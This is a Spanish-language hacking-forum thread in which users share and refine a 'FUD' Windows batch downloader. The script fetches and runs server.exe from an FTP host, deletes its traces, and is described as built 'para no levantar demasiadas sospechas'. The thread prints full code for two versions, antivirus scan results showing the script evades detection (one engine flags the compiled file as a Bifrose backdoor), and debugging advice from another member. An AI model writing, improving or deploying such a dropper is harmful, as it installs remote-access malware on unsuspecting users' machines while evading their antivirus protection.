Indetectables

Publicado: **14 Feb 2016, 18:34**

Este script descarga y ejecuta un archivo desde FTP
Explicacion:
1 Genera el archivo datos.txt donde guarda las credenciales de acceso para iniciar sesion en el ftp
2 Por defecto lo descarga en el escritorio
3 Borra el archivo datos.txt
4 Ejecuta el binario
5 Espera dos segundos y mata el proceso (importante si tu servidor tiene protegido el proceso con BSOD o algo del estilo quita esta linea, yo la pongo para no levantar demasiadas sospechas, espera 2 segundos para que se agregue al registro y ya se iniciara normal cuando el PC se reinicie)

El script se puede compilar para que no se muestre la ventana

Scan de downloader.bat

[Enlace externo eliminado para invitados] free virus scanner results

Information

Object : downloader.bat (420 bytes)
Results : fully clean
Started : 14/02/16
Link : [Enlace externo eliminado para invitados]

Results

Arcavir Antivirus 2014 : Clean
avast! Internet Security : Clean
AVG Anti-Virus : Clean
Avira Antivirus Suite : Clean
Bitdefender Antivirus Plus : Clean
Clam AntiVirus : Clean
COMODO Internet Security : Clean
Dr.Web Anti-virus : Clean
eScan Antivirus : Clean
ESET NOD32 Antivirus : Clean
F-PROT Antivirus for Windows : Clean
F-Secure Internet Security 2014 : Clean
FortiClient Lite : Clean
IKARUS anti.virus : Clean
Jiangmin Antivirus 2011 : Clean
K7 UltimateSecurity : Clean
Kaspersky Anti-Virus : Clean
McAfee VirusScan Enterprise : Clean
Quick Heal Internet Security : Clean
Sophos Anti-Virus : Clean
Symantec Endpoint Protection : Clean
Total Defence Anti-Virus 2011 : Clean
Zillya! Internet Security : Clean

Scan de downlaoder.exe (compilado)
[Enlace externo eliminado para invitados] free virus scanner results

Information

Object : downlaoder.exe (92.5 KB)
Results : 1/23
Started : 14/02/16
Link : [Enlace externo eliminado para invitados]

Results

Arcavir Antivirus 2014 : Clean
avast! Internet Security : Clean
AVG Anti-Virus : Clean
Avira Antivirus Suite : Clean
Bitdefender Antivirus Plus : Clean
Clam AntiVirus : Clean
COMODO Internet Security : Clean
Dr.Web Anti-virus : Clean
eScan Antivirus : Clean
ESET NOD32 Antivirus : Clean
F-PROT Antivirus for Windows : Clean
F-Secure Internet Security 2014 : Clean
FortiClient Lite : Clean
IKARUS anti.virus : Backdoor.Win32.Bifrose
Jiangmin Antivirus 2011 : Clean
K7 UltimateSecurity : Clean
Kaspersky Anti-Virus : Clean
McAfee VirusScan Enterprise : Clean
Quick Heal Internet Security : Clean
Sophos Anti-Virus : Clean
Symantec Endpoint Protection : Clean
Total Defence Anti-Virus 2011 : Clean
Zillya! Internet Security : Clean

Mostrar/Ocultar

@echo off 
echo open ftp.tuftp.es>D:\datos.txt  
echo user usuario contraseña>>D:\datos.txt 
echo pwd>>D:\datos.txt 
echo type binary>>D:\datos.txt 
echo lcd "%userprofile%\Escritorio" 
echo get server.exe>>D:\datos.txt
ftp -niv<D:\datos.txt 
del /q  "D:\datos.txt"
start C:\Users\%username%\Desktop\server.exe
sleep 2
taskkill /IM /f server.exe 
del /q "C:\Users\%username%\Desktop\server.exe"

Publicado: **14 Feb 2016, 22:23**

Si no me equivoco el comando Sleep sólo está disponible en WinVista y superiores. También el parámetro del comando start debería estar entre comillas por si el nombre de usuario contiene un espacio.

Publicado: **15 Feb 2016, 15:59**

Gracias Blau por las correciones, lo dejo un poco mas optimizado para que no muestre todo el proceso de conexion del ftp tanto tiempo y con una alternativa al sleep.

Mostrar/Ocultar

@echo off 
echo open ftp.tuftp.es>D:\datos.txt  
echo user usuario contraseña>>D:\datos.txt 
echo pwd>>D:\datos.txt 
echo type binary>>D:\datos.txt 
cls
echo lcd "%userprofile%\Escritorio" 
echo get servidor.exe>>D:\datos.txt
cls
ftp -niv<D:\datos.txt 
del /q  "D:\datos.txt"
cls
start "C:\Users\%username%\Desktop\server.exe"
sleep 2 rem se puede cambiar por el comando timeout si no hay compatibilidad (pero este se interrumpe con una pulsacion)
taskkill /IM /f server.exe 
del /q "C:\Users\%username%\Desktop\server.exe"

Indetectables

[BATCH] Downloader FUD [<1kb]

[BATCH] Downloader FUD [<1kb]

Re: [BATCH] Downloader FUD [<1kb]

Re: [BATCH] Downloader FUD [<1kb]